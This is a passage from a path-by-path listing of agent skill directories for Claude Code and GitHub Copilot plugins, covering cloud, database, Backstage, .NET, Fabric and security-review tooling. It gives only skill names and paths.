harness/claude-code/skills/review-and-refactor - reviewing-oracle-to-postgres-migration
harness/claude-code/skills/reviewing-oracle-to-postgres-migration - rhdh
harness/claude-code/skills/rhdh - rhdh-jira
harness/claude-code/skills/rhdh-jira - rhdh-local
harness/claude-code/skills/rhdh-local - rhino3d-scripts
harness/claude-code/skills/rhino3d-scripts - roundup
harness/claude-code/skills/roundup - roundup-setup
harness/claude-code/skills/roundup-setup - ruby-mcp-server-generator
harness/claude-code/skills/ruby-mcp-server-generator - ruff-recursive-fix
harness/claude-code/skills/ruff-recursive-fix - rust-mcp-server-generator
harness/claude-code/skills/rust-mcp-server-generator - salesforce-apex-quality
harness/claude-code/skills/salesforce-apex-quality - salesforce-component-standards
harness/claude-code/skills/salesforce-component-standards - salesforce-flow-design
harness/claude-code/skills/salesforce-flow-design - sandbox-npm-install
harness/claude-code/skills/sandbox-npm-install - scaffolding-oracle-to-postgres-migration-test-project
harness/claude-code/skills/scaffolding-oracle-to-postgres-migration-test-project - scoutqa-test
harness/claude-code/skills/scoutqa-test - screen-recording
harness/claude-code/skills/screen-recording - sdd-requirements-engineer
harness/claude-code/skills/sdd-requirements-engineer - secret-scanning
harness/claude-code/skills/secret-scanning - security-review
harness/claude-code/skills/security-review - semantic-kernel
harness/claude-code/skills/semantic-kernel - server-side-conversion-tracking
harness/claude-code/skills/server-side-conversion-tracking - setup-my-iq
harness/claude-code/skills/setup-my-iq - shopify-review-triage
harness/claude-code/skills/shopify-review-triage - shuffle-json-data
harness/claude-code/skills/shuffle-json-data - signal-write
harness/claude-code/skills/signal-write - skill-creator
harness/claude-code/skills/skill-creator - slang-shader-engineer
harness/claude-code/skills/slang-shader-engineer - snowflake-semanticview
harness/claude-code/skills/snowflake-semanticview - sonarqube-api-query
harness/claude-code/skills/sonarqube-api-query - sponsor-finder
harness/claude-code/skills/sponsor-finder - spring-boot-testing
harness/claude-code/skills/spring-boot-testing - sql-code-review
harness/claude-code/skills/sql-code-review - sql-optimization
harness/claude-code/skills/sql-optimization - sql-server-table-reconciliation
harness/claude-code/skills/sql-server-table-reconciliation - ssma-console
harness/claude-code/skills/ssma-console - steno-mode
harness/claude-code/skills/steno-mode - structured-autonomy-generate
harness/claude-code/skills/structured-autonomy-generate - structured-autonomy-implement
harness/claude-code/skills/structured-autonomy-implement - structured-autonomy-plan
harness/claude-code/skills/structured-autonomy-plan - suggest-awesome-github-copilot-agents
harness/claude-code/skills/suggest-awesome-github-copilot-agents - suggest-awesome-github-copilot-instructions
harness/claude-code/skills/suggest-awesome-github-copilot-instructions - suggest-awesome-github-copilot-skills
harness/claude-code/skills/suggest-awesome-github-copilot-skills - swift-mcp-server-generator
harness/claude-code/skills/swift-mcp-server-generator - system-commandline-cli
harness/claude-code/skills/system-commandline-cli - technical-job-search
harness/claude-code/skills/technical-job-search - technology-stack-blueprint-generator
harness/claude-code/skills/technology-stack-blueprint-generator - terraform-azurerm-set-diff-analyzer
harness/claude-code/skills/terraform-azurerm-set-diff-analyzer - test-data-management
harness/claude-code/skills/test-data-management - threat-model-analyst
harness/claude-code/skills/threat-model-analyst - tiny-stepping
harness/claude-code/skills/tiny-stepping - tldr-prompt
harness/claude-code/skills/tldr-prompt - tm7-threat-model
harness/claude-code/skills/tm7-threat-model - transloadit-media-processing
harness/claude-code/skills/transloadit-media-processing - typescript-mcp-server-generator
harness/claude-code/skills/typescript-mcp-server-generator - typespec-api-operations
harness/claude-code/skills/typespec-api-operations - typespec-create-agent
harness/claude-code/skills/typespec-create-agent - typespec-create-api-plugin
harness/claude-code/skills/typespec-create-api-plugin - ui-screenshots
harness/claude-code/skills/ui-screenshots - unit-test-vue-pinia
harness/claude-code/skills/unit-test-vue-pinia - update-avm-modules-in-bicep
harness/claude-code/skills/update-avm-modules-in-bicep - update-implementation-plan
harness/claude-code/skills/update-implementation-plan - update-llms
harness/claude-code/skills/update-llms - update-markdown-file-index
harness/claude-code/skills/update-markdown-file-index - update-specification
harness/claude-code/skills/update-specification - vardoger-analyze
harness/claude-code/skills/vardoger-analyze - vcpkg
harness/claude-code/skills/vcpkg - verify-agent-action
harness/claude-code/skills/verify-agent-action - vscode-ext-commands
harness/claude-code/skills/vscode-ext-commands - vscode-ext-localization
harness/claude-code/skills/vscode-ext-localization - web-design-reviewer
harness/claude-code/skills/web-design-reviewer - webapp-testing
harness/claude-code/skills/webapp-testing - webmcpify
harness/claude-code/skills/webmcpify - what-context-needed
harness/claude-code/skills/what-context-needed - winmd-api-search
harness/claude-code/skills/winmd-api-search - winui3-migration-guide
harness/claude-code/skills/winui3-migration-guide - workiq-copilot
harness/claude-code/skills/workiq-copilot - workshop-create
harness/claude-code/skills/workshop-create - write-coding-standards-from-file
harness/claude-code/skills/write-coding-standards-from-file - x-twitter-scraper
harness/claude-code/skills/x-twitter-scraper - acreadiness-assess
harness/github-copilot/plugins/acreadiness-cockpit/skills/acreadiness-assess - acreadiness-generate-instructions
harness/github-copilot/plugins/acreadiness-cockpit/skills/acreadiness-generate-instructions - acreadiness-policy
harness/github-copilot/plugins/acreadiness-cockpit/skills/acreadiness-policy - agent-governance
harness/github-copilot/plugins/agent-governance/skills/agent-governance - agent-owasp-compliance
harness/github-copilot/plugins/agent-governance/skills/agent-owasp-compliance - agent-supply-chain
harness/github-copilot/plugins/agent-governance/skills/agent-supply-chain - audit-integrity
harness/github-copilot/plugins/agent-governance/skills/audit-integrity - ai-team-orchestration
harness/github-copilot/plugins/ai-team-orchestration/skills/ai-team-orchestration - codeql
harness/github-copilot/plugins/application-security/skills/codeql - data-breach-blast-radius
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius - gdpr-compliant
harness/github-copilot/plugins/application-security/skills/gdpr-compliant - secret-scanning
harness/github-copilot/plugins/application-security/skills/secret-scanning - security-review
harness/github-copilot/plugins/application-security/skills/security-review - threat-model-analyst
harness/github-copilot/plugins/application-security/skills/threat-model-analyst - tm7-threat-model
harness/github-copilot/plugins/application-security/skills/tm7-threat-model - doc-and-modernize
harness/github-copilot/plugins/arch/skills/doc-and-modernize - arize-ai-provider-integration
harness/github-copilot/plugins/arize-ax/skills/arize-ai-provider-integration - arize-annotation
harness/github-copilot/plugins/arize-ax/skills/arize-annotation - arize-dataset
harness/github-copilot/plugins/arize-ax/skills/arize-dataset - arize-evaluator
harness/github-copilot/plugins/arize-ax/skills/arize-evaluator - arize-experiment
harness/github-copilot/plugins/arize-ax/skills/arize-experiment - arize-instrumentation
harness/github-copilot/plugins/arize-ax/skills/arize-instrumentation - arize-link
harness/github-copilot/plugins/arize-ax/skills/arize-link - arize-prompt-optimization
harness/github-copilot/plugins/arize-ax/skills/arize-prompt-optimization - arize-trace
harness/github-copilot/plugins/arize-ax/skills/arize-trace - automate-this
harness/github-copilot/plugins/automate-this/skills/automate-this - suggest-awesome-github-copilot-agents
harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents - suggest-awesome-github-copilot-instructions
harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions - suggest-awesome-github-copilot-skills
harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills - aws-cost-optimize
harness/github-copilot/plugins/aws-cloud-development/skills/aws-cost-optimize - aws-resource-health-diagnose
harness/github-copilot/plugins/aws-cloud-development/skills/aws-resource-health-diagnose - aws-resource-query
harness/github-copilot/plugins/aws-cloud-development/skills/aws-resource-query - aws-well-architected-review
harness/github-copilot/plugins/aws-cloud-development/skills/aws-well-architected-review - agentic-eval
harness/github-copilot/plugins/azure-ai-foundry/skills/agentic-eval - apim-ai-gateway
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway - azure-agentic-architecture-patterns
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns - azure-ai
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai - azure-api-center
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-api-center - azure-managed-redis-cache
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache - entra-agent-user
harness/github-copilot/plugins/azure-ai-foundry/skills/entra-agent-user - foundry-agent-sync
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-agent-sync - foundry-hosted-agent-copilotkit
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit - microsoft-agent-framework
harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework - semantic-kernel
harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel - azure-app-onboard
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard - azure-app-onboard-prereq
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq - azure-deploy
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy - azure-prepare
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare - azure-scaffold-wizard
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-scaffold-wizard - azure-validate
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate - az-cost-optimize
harness/github-copilot/plugins/azure-cloud-development/skills/az-cost-optimize - azure-cli
harness/github-copilot/plugins/azure-cloud-development/skills/azure-cli - azure-compute
harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute - azure-enterprise-infra-planner
harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner - azure-infrastructure
harness/github-copilot/plugins/azure-cloud-development/skills/azure-infrastructure - azure-pricing
harness/github-copilot/plugins/azure-cloud-development/skills/azure-pricing - azure-resource-health-diagnose
harness/github-copilot/plugins/azure-cloud-development/skills/azure-resource-health-diagnose - azure-resource-lookup
harness/github-copilot/plugins/azure-cloud-development/skills/azure-resource-lookup - azure-resource-visualizer
harness/github-copilot/plugins/azure-cloud-development/skills/azure-resource-visualizer - azure-terraform-cli
harness/github-copilot/plugins/azure-cloud-development/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/github-copilot/plugins/azure-cloud-development/skills/azure-terraform-terratest-module-testing - import-infrastructure-as-code
harness/github-copilot/plugins/azure-cloud-development/skills/import-infrastructure-as-code - azure-kusto
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto - azure-kusto-graph
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-graph - azure-kusto-irql
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql - azure-kusto-irql-graph
harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph - azure-messaging
harness/github-copilot/plugins/azure-data-development/skills/azure-messaging - azure-postgre-database-management
harness/github-copilot/plugins/azure-data-development/skills/azure-postgre-database-management - azure-storage
harness/github-copilot/plugins/azure-data-development/skills/azure-storage - azure-architecture-autopilot
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot - azure-container-registry-cli
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-container-registry-cli - azure-deployment-preflight
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-deployment-preflight - azure-developer-cli
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-developer-cli - azure-devops-cli
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-devops-cli - azure-static-web-apps
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-static-web-apps - cloud-design-patterns
harness/github-copilot/plugins/azure-developer-tooling/skills/cloud-design-patterns - cosmosdb-datamodeling
harness/github-copilot/plugins/azure-developer-tooling/skills/cosmosdb-datamodeling - update-avm-modules-in-bicep
harness/github-copilot/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep - azure-compliance
harness/github-copilot/plugins/azure-governance/skills/azure-compliance - azure-entra-agent-id
harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id - azure-entra-app-registration
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration - azure-quotas
harness/github-copilot/plugins/azure-governance/skills/azure-quotas - azure-role-selector
harness/github-copilot/plugins/azure-governance/skills/azure-role-selector - azure-well-architected-review
harness/github-copilot/plugins/azure-governance/skills/azure-well-architected-review - azure-airunway-aks-setup
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup - azure-argocd-cli
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-argocd-cli - azure-helm-cli
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-helm-cli - azure-kubectl-cli
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubectl-cli - azure-kubernetes
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes - azure-kubernetes-app-deploy
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy - azure-kubernetes-automatic-readiness
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness - azure-cloud-migrate
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate - azure-upgrade
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade - appinsights-instrumentation
harness/github-copilot/plugins/azure-observability-operations/skills/appinsights-instrumentation - azure-cost
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost - azure-diagnostics
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics - azure-observability-stack
harness/github-copilot/plugins/azure-observability-operations/skills/azure-observability-stack - azure-reliability
harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability - app-frontend-system-migration
harness/github-copilot/plugins/backstage-expert/skills/app-frontend-system-migration - app-frontend-system-migration
harness/github-copilot/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream - backstage-ai-catalog
harness/github-copilot/plugins/backstage-expert/skills/backstage-ai-catalog - backstage-app-bootstrap
harness/github-copilot/plugins/backstage-expert/skills/backstage-app-bootstrap - backstage-app-configuration
harness/github-copilot/plugins/backstage-expert/skills/backstage-app-configuration - backstage-authentication
harness/github-copilot/plugins/backstage-expert/skills/backstage-authentication - backstage-catalog
harness/github-copilot/plugins/backstage-expert/skills/backstage-catalog - backstage-catalog-db-performance
harness/github-copilot/plugins/backstage-expert/skills/backstage-catalog-db-performance - backstage-core-contribution
harness/github-copilot/plugins/backstage-expert/skills/backstage-core-contribution - backstage-external-integrations
harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations - backstage-framework
harness/github-copilot/plugins/backstage-expert/skills/backstage-framework - backstage-kubernetes
harness/github-copilot/plugins/backstage-expert/skills/backstage-kubernetes - backstage-mcp-actions
harness/github-copilot/plugins/backstage-expert/skills/backstage-mcp-actions - backstage-notifications
harness/github-copilot/plugins/backstage-expert/skills/backstage-notifications - backstage-operations
harness/github-copilot/plugins/backstage-expert/skills/backstage-operations - backstage-permissions
harness/github-copilot/plugins/backstage-expert/skills/backstage-permissions - backstage-plugin-builder
harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder - backstage-search
harness/github-copilot/plugins/backstage-expert/skills/backstage-search - backstage-software-templates
harness/github-copilot/plugins/backstage-expert/skills/backstage-software-templates - backstage-techdocs
harness/github-copilot/plugins/backstage-expert/skills/backstage-techdocs - backstage-upgrade
harness/github-copilot/plugins/backstage-expert/skills/backstage-upgrade - backstage-workspace-kit
harness/github-copilot/plugins/backstage-expert/skills/backstage-workspace-kit - mui-to-bui-migration
harness/github-copilot/plugins/backstage-expert/skills/mui-to-bui-migration - mui-to-bui-migration
harness/github-copilot/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream - onboard-to-openapi-server
harness/github-copilot/plugins/backstage-expert/skills/onboard-to-openapi-server - onboard-to-openapi-server
harness/github-copilot/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream - plugin-analytics-instrumentation
harness/github-copilot/plugins/backstage-expert/skills/plugin-analytics-instrumentation - plugin-analytics-instrumentation
harness/github-copilot/plugins/backstage-expert/skills/plugin-analytics-instrumentation/references/upstream - plugin-full-frontend-system-migration
harness/github-copilot/plugins/backstage-expert/skills/plugin-full-frontend-system-migration - plugin-full-frontend-system-migration
harness/github-copilot/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream - plugin-new-frontend-system-support
harness/github-copilot/plugins/backstage-expert/skills/plugin-new-frontend-system-support - plugin-new-frontend-system-support
harness/github-copilot/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream - brag-sheet
harness/github-copilot/plugins/career-productivity/skills/brag-sheet - daily-prep
harness/github-copilot/plugins/career-productivity/skills/daily-prep - email-drafter
harness/github-copilot/plugins/career-productivity/skills/email-drafter - exam-ready
harness/github-copilot/plugins/career-productivity/skills/exam-ready - linkedin-post-formatter
harness/github-copilot/plugins/career-productivity/skills/linkedin-post-formatter - meeting-minutes
harness/github-copilot/plugins/career-productivity/skills/meeting-minutes - performance-review-writer
harness/github-copilot/plugins/career-productivity/skills/performance-review-writer - technical-job-search
harness/github-copilot/plugins/career-productivity/skills/technical-job-search - remember-interactive-programming
harness/github-copilot/plugins/clojure-interactive-programming/skills/remember-interactive-programming - content-management-systems
harness/github-copilot/plugins/cms-development/skills/content-management-systems - markdown-to-html
harness/github-copilot/plugins/cms-development/skills/markdown-to-html - quasi-coder
harness/github-copilot/plugins/cms-development/skills/quasi-coder - dotnet-design-pattern-review
harness/github-copilot/plugins/code-quality-refactoring/skills/dotnet-design-pattern-review - editorconfig
harness/github-copilot/plugins/code-quality-refactoring/skills/editorconfig - em-dash
harness/github-copilot/plugins/code-quality-refactoring/skills/em-dash - quality-playbook
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook - refactor
harness/github-copilot/plugins/code-quality-refactoring/skills/refactor - refactor-method-complexity-reduce
harness/github-copilot/plugins/code-quality-refactoring/skills/refactor-method-complexity-reduce - review-and-refactor
harness/github-copilot/plugins/code-quality-refactoring/skills/review-and-refactor - ruff-recursive-fix
harness/github-copilot/plugins/code-quality-refactoring/skills/ruff-recursive-fix - tiny-stepping
harness/github-copilot/plugins/code-quality-refactoring/skills/tiny-stepping - acquire-codebase-knowledge
harness/github-copilot/plugins/codebase-blueprints/skills/acquire-codebase-knowledge - architecture-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/architecture-blueprint-generator - code-exemplars-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/code-exemplars-blueprint-generator - copilot-instructions-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/copilot-instructions-blueprint-generator - folder-structure-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/folder-structure-blueprint-generator - project-workflow-analysis-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/project-workflow-analysis-blueprint-generator - readme-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/readme-blueprint-generator - repo-story-time
harness/github-copilot/plugins/codebase-blueprints/skills/repo-story-time - technology-stack-blueprint-generator
harness/github-copilot/plugins/codebase-blueprints/skills/technology-stack-blueprint-generator - context-map
harness/github-copilot/plugins/context-engineering/skills/context-map - refactor-plan
harness/github-copilot/plugins/context-engineering/skills/refactor-plan - what-context-needed
harness/github-copilot/plugins/context-engineering/skills/what-context-needed - integrate-context-matic
harness/github-copilot/plugins/context-matic/skills/integrate-context-matic - onboard-context-matic
harness/github-copilot/plugins/context-matic/skills/onboard-context-matic - convert-excel-to-md
harness/github-copilot/plugins/convert-to-md/skills/convert-excel-to-md - convert-pdf-to-md
harness/github-copilot/plugins/convert-to-md/skills/convert-pdf-to-md - convert-word-to-md
harness/github-copilot/plugins/convert-to-md/skills/convert-word-to-md - agent-skill-stack
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack - ai-ready
harness/github-copilot/plugins/copilot-customization-authoring/skills/ai-ready - boost-prompt
harness/github-copilot/plugins/copilot-customization-authoring/skills/boost-prompt - cli-mastery
harness/github-copilot/plugins/copilot-customization-authoring/skills/cli-mastery - copilot-cli-quickstart
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart - copilot-primitive-authoring
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-primitive-authoring - copilot-spaces
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-spaces - copilot-usage-metrics
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics - finalize-agent-prompt
harness/github-copilot/plugins/copilot-customization-authoring/skills/finalize-agent-prompt - generate-custom-instructions-from-codebase
harness/github-copilot/plugins/copilot-customization-authoring/skills/generate-custom-instructions-from-codebase - github-copilot-starter
harness/github-copilot/plugins/copilot-customization-authoring/skills/github-copilot-starter - harness-engineering
harness/github-copilot/plugins/copilot-customization-authoring/skills/harness-engineering - lsp-setup
harness/github-copilot/plugins/copilot-customization-authoring/skills/lsp-setup - memory-merger
harness/github-copilot/plugins/copilot-customization-authoring/skills/memory-merger - microsoft-skill-creator
harness/github-copilot/plugins/copilot-customization-authoring/skills/microsoft-skill-creator - mini-context-graph
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph - prompt-optimizer
harness/github-copilot/plugins/copilot-customization-authoring/skills/prompt-optimizer - remember
harness/github-copilot/plugins/copilot-customization-authoring/skills/remember - skill-creator
harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator - steno-mode
harness/github-copilot/plugins/copilot-customization-authoring/skills/steno-mode - vardoger-analyze
harness/github-copilot/plugins/copilot-customization-authoring/skills/vardoger-analyze - copilot-plugin-authoring
harness/github-copilot/plugins/copilot-plugin-development/skills/copilot-plugin-authoring - copilot-sdk
harness/github-copilot/plugins/copilot-sdk/skills/copilot-sdk - adobe-illustrator-scripting
harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting - freecad-scripts
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts - game-engine
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine - image-manipulation-image-magick
harness/github-copilot/plugins/creative-media-tooling/skills/image-manipulation-image-magick - latchshot-page-capture
harness/github-copilot/plugins/creative-media-tooling/skills/latchshot-page-capture - nano-banana-pro-openrouter
harness/github-copilot/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter - pdftk-server
harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server - resemble-detect
harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect - rhino3d-scripts
harness/github-copilot/plugins/creative-media-tooling/skills/rhino3d-scripts - slang-shader-engineer
harness/github-copilot/plugins/creative-media-tooling/skills/slang-shader-engineer - transloadit-media-processing
harness/github-copilot/plugins/creative-media-tooling/skills/transloadit-media-processing - aspnet-minimal-api-openapi
harness/github-copilot/plugins/csharp-dotnet-development/skills/aspnet-minimal-api-openapi - csharp-async
harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-async - csharp-mstest
harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-mstest - csharp-nunit
harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-nunit - csharp-tunit
harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-tunit - csharp-xunit
harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-xunit - dotnet-best-practices
harness/github-copilot/plugins/csharp-dotnet-development/skills/dotnet-best-practices - dotnet-upgrade
harness/github-copilot/plugins/csharp-dotnet-development/skills/dotnet-upgrade - fluentui-blazor
harness/github-copilot/plugins/csharp-dotnet-development/skills/fluentui-blazor - bigquery-pipeline-audit
harness/github-copilot/plugins/data-engineering/skills/bigquery-pipeline-audit - datanalysis-credit-risk
harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk - pinecone-rag
harness/github-copilot/plugins/data-engineering/skills/pinecone-rag - snowflake-semanticview
harness/github-copilot/plugins/data-engineering/skills/snowflake-semanticview - sql-server-table-reconciliation
harness/github-copilot/plugins/data-engineering/skills/sql-server-table-reconciliation - ssma-console
harness/github-copilot/plugins/data-engineering/skills/ssma-console - postgresql-code-review
harness/github-copilot/plugins/database-data-management/skills/postgresql-code-review - postgresql-optimization
harness/github-copilot/plugins/database-data-management/skills/postgresql-optimization - sql-code-review
harness/github-copilot/plugins/database-data-management/skills/sql-code-review - sql-optimization
harness/github-copilot/plugins/database-data-management/skills/sql-optimization - dataverse-python-advanced-patterns
harness/github-copilot/plugins/dataverse-sdk-for-python/skills/dataverse-python-advanced-patterns - dataverse-python-production-code
harness/github-copilot/plugins/dataverse-sdk-for-python/skills/dataverse-python-production-code - dataverse-python-quickstart
harness/github-copilot/plugins/dataverse-sdk-for-python/skills/dataverse-python-quickstart - dataverse-python-usecase-builder
harness/github-copilot/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder - azure-resource-health-diagnose
harness/github-copilot/plugins/devops-oncall/skills/azure-resource-health-diagnose - multi-stage-dockerfile
harness/github-copilot/plugins/devops-oncall/skills/multi-stage-dockerfile - draw-io-diagram-generator
harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator - efcore-d2-db-diagram
harness/github-copilot/plugins/diagram-authoring/skills/efcore-d2-db-diagram - excalidraw-diagram-generator
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator - plantuml-ascii
harness/github-copilot/plugins/diagram-authoring/skills/plantuml-ascii - dotnet-timezone
harness/github-copilot/plugins/dotnet-desktop-development/skills/dotnet-timezone - msstore-cli
harness/github-copilot/plugins/dotnet-desktop-development/skills/msstore-cli - mvvm-toolkit
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit - mvvm-toolkit-di
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di - mvvm-toolkit-messenger
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger - nuget-manager
harness/github-copilot/plugins/dotnet-desktop-development/skills/nuget-manager - system-commandline-cli
harness/github-copilot/plugins/dotnet-desktop-development/skills/system-commandline-cli - winmd-api-search
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search - winui3-migration-guide
harness/github-copilot/plugins/dotnet-desktop-development/skills/winui3-migration-guide - doublecheck
harness/github-copilot/plugins/doublecheck/skills/doublecheck - daily-focus-board
harness/github-copilot/plugins/ember/skills/daily-focus-board - from-the-other-side-anitta
harness/github-copilot/plugins/ember/skills/from-the-other-side-anitta - from-the-other-side-quinn
harness/github-copilot/plugins/ember/skills/from-the-other-side-quinn - from-the-other-side-vega
harness/github-copilot/plugins/ember/skills/from-the-other-side-vega - from-the-other-side-wiggins
harness/github-copilot/plugins/ember/skills/from-the-other-side-wiggins - eyeball
harness/github-copilot/plugins/eyeball/skills/eyeball - fabric-agentic-platform
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform - activator-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli - azmon-mirroredcatalogs-operations-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli - databricks-migration
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration - dataflows-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli - deployment-pipelines-authoring-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli - e2e-fabric-cost-estimation
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation - e2e-medallion-architecture
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture - eventhouse-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli - eventschemaset-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli - eventstream-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli - fabriciq
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq - fabriciq-ontology-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli - git-integration-operations-cli
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli - hdinsight-migration
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration - pipeline-migration
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration - power-bi-dax-optimization
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-dax-optimization - power-bi-model-design-review
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-model-design-review - power-bi-performance-troubleshooting
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-performance-troubleshooting - power-bi-report-design-consultation
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-report-design-consultation - power-platform-architect
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/skills/power-platform-architect - mcp-copilot-studio-server-generator
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/skills/mcp-copilot-studio-server-generator - power-platform-mcp-connector-suite
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/skills/power-platform-mcp-connector-suite - powerbi-report-authoring
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring - powerbi-report-design
